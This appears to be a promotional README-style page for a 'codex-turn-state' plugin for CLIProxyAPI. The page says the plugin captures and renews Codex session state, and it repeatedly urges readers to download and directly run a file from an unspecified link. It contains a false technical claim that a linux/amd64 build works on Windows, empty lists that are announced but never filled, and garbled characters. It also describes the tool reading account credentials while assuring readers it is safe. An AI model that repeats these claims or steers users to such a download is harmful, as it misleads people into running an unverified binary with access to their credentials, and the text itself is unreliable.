Capture and reuse Codex turn state automatically โ save time, increase efficiency
โฌ๏ธ Download NowVisit this link to download the application
Your state data is securely separated by account and model. No mixing, no confusion โ each model gets exactly the right state it needs.
The plugin checks every 60 seconds and renews your state before it expires. Set it and forget it โ it handles the maintenance for you.
A clean, easy-to-read dashboard shows your current states, their validity, and lets you manage everything with a few clicks.
Visit this link to download the application: Download Page
Choose the version for Windows (linux/amd64 build works perfectly on Windows systems).
Once downloaded, simply run the file. No installation needed โ it works directly from where you save it.
The plugin automatically detects your CLIProxyAPI (CPA) setup and begins working. It reads your account credentials through CPA's management interface โ no manual configuration required.
This plugin is designed to be invisible. It works in the background, doing three main things:
While the plugin works out-of-the-box, you can customize these settings:
| Setting | Default | Description |
|---|---|---|
| State Length | 292, 312 | Acceptable state template lengths |
| Validity Period | 3600 seconds | How long a state is considered fresh |
| Renewal Lead Time | 5 minutes | When to start renewing before expiry |
| Probe Interval | 60 seconds | How often to check for missing states |
All your state data is stored safely on your local machine. The plugin uses persistent storage to keep states even between restarts, so you don't lose anything. You can:
No. The plugin operates independently from your normal request flow. Probing happens in the background, and state collection is passive (just reading response headers).
The plugin handles everything automatically. States are renewed before they expire, and it adapts to changes in the upstream system.
Absolutely. Everything stays on your machine. The plugin only communicates with your configured CPA endpoint and the Codex upstream. No third-party servers involved.
Don't worry โ the plugin detects this within 60 seconds and automatically fetches a new one. You might see a brief moment where the state is refreshed, but it's designed to minimize any impact on your work.
For developers or curious users, the plugin provides detailed logs and testing endpoints. You can:
This project is open-source and available under the MIT License. Feel free to use, modify, and distribute it as needed.
Visit this link to download the application
Compatible with Windows ยท Built for CLIProxyAPI ยท Plugin ID: codex-turn-state